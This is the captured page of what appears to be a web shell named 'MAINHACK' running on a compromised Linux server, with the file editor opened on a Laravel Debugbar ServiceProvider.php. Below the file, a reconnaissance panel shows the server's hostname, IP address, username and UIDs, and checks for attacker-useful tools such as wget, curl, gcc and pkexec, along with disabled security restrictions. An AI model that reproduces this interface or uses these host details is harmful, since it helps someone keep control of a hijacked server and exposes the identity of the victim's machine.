[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ServiceProvider.php
<?php namespace Barryvdh\Debugbar; use Barryvdh\Debugbar\Middleware\InjectDebugbar; use DebugBar\DataFormatter\DataFormatter; use DebugBar\DataFormatter\DataFormatterInterface; use Illuminate\Container\Container; use Illuminate\Contracts\View\Factory; use Illuminate\Contracts\Http\Kernel; use Illuminate\Routing\Events\ResponsePrepared; use Illuminate\Routing\Router; use Illuminate\Session\CookieSessionHandler; use Illuminate\Session\SessionManager; use Illuminate\Support\Collection; class ServiceProvider extends \Illuminate\Support\ServiceProvider { /** * Register the service provider. * * @return void */ public function register() { $configPath = __DIR__ . '/../config/debugbar.php'; $this->mergeConfigFrom($configPath, 'debugbar'); $this->app->alias( DataFormatter::class, DataFormatterInterface::class ); $this->app->singleton(LaravelDebugbar::class, function ($app) { return new LaravelDebugbar($app); }); $this->app->singleton(SymfonyHttpDriver::class, function ($app) { return new SymfonyHttpDriver($app->make(SessionManager::class)); }); $this->app->alias(LaravelDebugbar::class, 'debugbar'); $this->app->singleton( 'command.debugbar.clear', function ($app) { return new Console\ClearCommand($app['debugbar']); } ); $this->app->extend( 'view', function (Factory $factory, Container $application): Factory { $laravelDebugbar = $application->make(LaravelDebugbar::class); $shouldTrackViewTime = $laravelDebugbar->isEnabled() && $laravelDebugbar->shouldCollect('time', true) && $laravelDebugbar->shouldCollect('views', true) && $application['config']->get('debugbar.options.views.timeline', false); if (! $shouldTrackViewTime) { /* Do not swap the engine to save performance */ return $factory; } $extensions = array_reverse($factory->getExtensions()); $engines = array_flip($extensions); $enginesResolver = $application->make('view.engine.resolver'); foreach ($engines as $engine => $extension) { $resolved = $enginesResolver->resolve($engine); $factory->addExtension($extension, $engine, function () use ($resolved, $laravelDebugbar) { return new DebugbarViewEngine($resolved, $laravelDebugbar); }); } // returns original order of extensions foreach ($extensions as $extension => $engine) { $factory->addExtension($extension, $engine); } return $factory; } ); Collection::macro('debug', function () { debug($this); return $this; }); } /** * Bootstrap the application events. * * @return void */ public function boot() { $configPath = __DIR__ . '/../config/debugbar.php'; $this->publishes([$configPath => $this->getConfigPath()], 'config'); $this->loadRoutesFrom(__DIR__ . '/debugbar-routes.php'); $this->registerMiddleware(InjectDebugbar::class); $this->commands(['command.debugbar.clear']); } /** * Get the active router. * * @return Router */ protected function getRouter() { return $this->app['router']; } /** * Get the config path * * @return string */ protected function getConfigPath() { return config_path('debugbar.php'); } /** * Register the Debugbar Middleware * * @param string $middleware */ protected function registerMiddleware($middleware) { $kernel = $this->app[Kernel::class]; $kernel->pushMiddleware($middleware); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.82 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002